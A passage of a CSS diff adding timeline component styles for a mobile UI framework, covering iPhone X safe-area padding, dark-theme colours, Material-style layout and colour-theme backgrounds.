.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .ios.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .timeline-year-title, +.ios .theme-dark .timeline-month-title { + background: #1b1b1b; +} +.ios .theme-dark .timeline-item-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .timeline-item-time { + color: #8E8E93; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date, +.timeline-horizontal.ios .theme-dark .timeline-item-date { + background: #1b1b1b; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date:after, +.timeline-horizontal.ios .theme-dark .timeline-item-date:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before, +.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-item:after, +.timeline-horizontal.ios .theme-dark .timeline-item:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-year:after, +.timeline-horizontal.ios .theme-dark .timeline-year:after { + background-color: #282829; +} +/* === Timeline MD === */ +.md .timeline { + margin: 32px 0; + padding: 0 16px; +} +.md .block-strong .timeline { + padding: 0; + margin: 0; +} +.md .timeline-item { + padding: 2px 0px 16px; +} +.md .timeline-item:last-child { + padding-bottom: 2px; +} +.md .timeline-item-content .card, +.md .timeline-item-content.card, +.md .timeline-item-content .list, +.md .timeline-item-content.list, +.md .timeline-item-content .block, +.md .timeline-item-content.block { + margin: 0; + width: 100%; +} +.md .timeline-item-content .card + .card, +.md .timeline-item-content .list + .card, +.md .timeline-item-content .block + .card, +.md .timeline-item-content .card + .list, +.md .timeline-item-content .list + .list, +.md .timeline-item-content .block + .list, +.md .timeline-item-content .card + .block, +.md .timeline-item-content .list + .block, +.md .timeline-item-content .block + .block { + margin: 16px 0 0; +} +.md .timeline-item-inner { + border-radius: 2px; + padding: 8px 16px; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .timeline-item-inner + .timeline-item-inner { + margin-top: 16px; +} +.md .timeline-item-divider { + margin-left: 16px; + margin-right: 16px; +} +.md .timeline-item-time { + margin-top: 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .timeline-item-time:first-child { + margin-top: 0; +} +.md .timeline-item-title { + font-size: 16px; +} +.md .timeline-sides .timeline-item { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item .timeline-item-date { + text-align: left; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; +} +.md .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides .timeline-item-left .timeline-item-date { + text-align: right; +} +.md .timeline-sides .timeline-item-right { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item-right .timeline-item-date { + text-align: left; +} +@media (min-width: 768px) { + .md .tablet-sides .timeline-item { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item .timeline-item-date { + text-align: left; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; + } + .md .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item-left .timeline-item-date { + text-align: right; + } + .md .tablet-sides .timeline-item-right { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item-right .timeline-item-date { + text-align: left; + } +} +.md .timeline-horizontal { + padding: 0; + margin: 0; + position: relative; +} +.md .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 12px; +} +.md .timeline-horizontal .timeline-item-date { + background: #2196f3; + padding: 0px 12px; + color: #fff; +} +.md .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .timeline-horizontal .timeline-item-content { + padding: 12px; + height: calc(100% - 12px); +} +.md .timeline-horizontal.no-shadow .timeline-item-date:after { + display: none; +} +.md .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.md .timeline-horizontal .timeline-item:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .timeline-year-title, +.md .timeline-month-title { + padding: 0 12px; + color: #fff; + background: #2196f3; +} +.md .timeline-year-title span, +.md .timeline-month-title span { + right: 12px; +} +.md .timeline-year-title span { + margin-top: 2px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(12px + constant(safe-area-inset-left)); + left: calc(12px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(12px + constant(safe-area-inset-left)); + padding-left: calc(12px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .timeline-item-inner { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .timeline-item-time { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .timeline-item-date, +.md .color-theme-red .timeline-year-title, +.md .color-theme-red .timeline-month-title { + background: #f44336; +} +.md .color-theme-green .timeline-item-date, +.md .color-theme-green .timeline-year-title, +.md .color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .color-theme-blue .timeline-item-date, +.md .color-theme-blue .timeline-year-title, +.md .color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .color-theme-pink .timeline-item-date, +.md .color-theme-pink 